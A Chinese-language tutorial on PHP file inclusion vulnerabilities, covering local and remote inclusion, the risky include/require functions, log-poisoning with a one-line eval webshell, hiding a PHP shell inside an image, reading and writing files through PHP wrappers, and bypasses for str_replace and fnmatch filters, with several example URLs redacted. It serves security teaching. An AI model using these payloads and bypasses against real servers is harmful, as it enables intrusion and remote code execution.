文件包含漏洞

简单一句话,为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。 在大多数Web语言中都会提供的功能,但PHP对于包含文件所提供的功能太强大,所以包含漏洞经常出现在PHP语言中,但其他语言中可能出现包含漏洞。

文件包含漏洞的原理:

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。  示例代码: ``` ?page=a.php ?home=b.html ?file=content..


### 涉及到的危险函数:

include #执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行 include_once #同上,区别是如果该文件中已经被包含过,则不会再次包含。 require #程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本 require_once #同上,区别是 PHP会检查该文件是否已经被包含过,如果是则不会再次包含。


### 文件包含漏洞的分类:
1. 本地文件包含漏洞:
仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。
很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力(例如上传webshell后用包含方式调用)。

2. 远程文件包含漏洞:
能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂远程码
php远程包含漏洞必要参数
    ```
    allow_url_include=on
    magic_quotes_gpc=off
    ```

### 文件包含漏洞的上传技巧:


#### 1、小马+图片:

* 方法一:直接伪造头部GIF89A 
* 方法二:CMD方法,copy /b test.png+1.php muma.png
* 方法三:直接使用工具往图片中写入一句话木马。

#### 2、小马+日志:
当某个PHP文件存在本地包含漏洞,而却无法上传正常文件,这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵。  
>Apache服务器运行后会生成两个日志文件,access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中

1、打开配置文件`httpd.conf”第299行
删除井号以取消注释

CustomLog "logs/access.log" common


2、将一句话木马写到 url中的fiename 里
虽然会提示失败,但是会记录到日志文件中。**

URL地址

***.com

access_log中会有如下内容

..... GET /xx.php?filename=%3C?PHP%20@eval($_POST[%27123%27]);?%3E ......


3、然后用包含漏洞包含日志文件
小马就被运行了,但是由于编码的缘故有可能并不生效。用菜刀等工具连接试试

URL

***.com



#### 3、利用php包含来读文件:

1 构造URL:x.php是实现传到服务器的一句话木马

***.com

2 通过bp抓包可以发现,返回的包里面有一串base64的加密字符串

3 将加密字符串解密,可得一句话木马


#### 4、php包含写文件:
注意:只有在`allow_url_include`为on的时候才可以使用,如果想查看回显结果那还要这样
1. 在C:\\php\\php-5.2.14-Win32下找到php-apache2handler.ini
2. 打开,查找`display_funtions=proc-open,oppen,exec,system……`
3. 删掉system,然后重启apache。
>意思就是排除system命令

#构造URL: ***.com #抓包,修改提交的post数据为

#在返回包中,应该能看到net user命令的执行结果


#### 5、`str_replace`函数绕过:(中)
使用`str_replace`函数替换指定的字符串是极其不安全的,因为可以使用很多方法绕过。

又假设设置的过滤`../、..\、***.com

1、可以路径嵌套

***.com

2、绝对路径不受任何影响

***.com

3、双写http头使用远程文件

***.com


#### 6、fnmatch函数绕过:(高)
经常会有开发,用fnmatch函数,用于指定只能用特定的文件名开头的文件

if(!fnmatch("file*",$file)&&$file!="include.php")

本意是当include.php,又不是file开头的文件名时,就不能调用

但殊不知有file://协议,也是可以读取文件的

***.com

PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。

File:// 访问本地文件系统 htt[p:// 访问HTTP(s)网址 ftp:// 访问FTP(s)URLS php:// 访问各个输入/输出流(I/o streams) zlib:// 压缩流 data:// 数据(RFC2397) ssh2:// Secure Shell 2 expect:// 处理交互式的流 glob:// 查找匹配的文件路径模式

有时候对方程序员对协议进行限制我们可以多尝试尝另外的

``` 

文件包含漏洞的防御方法:

将需要包含的文件用白名单方式写死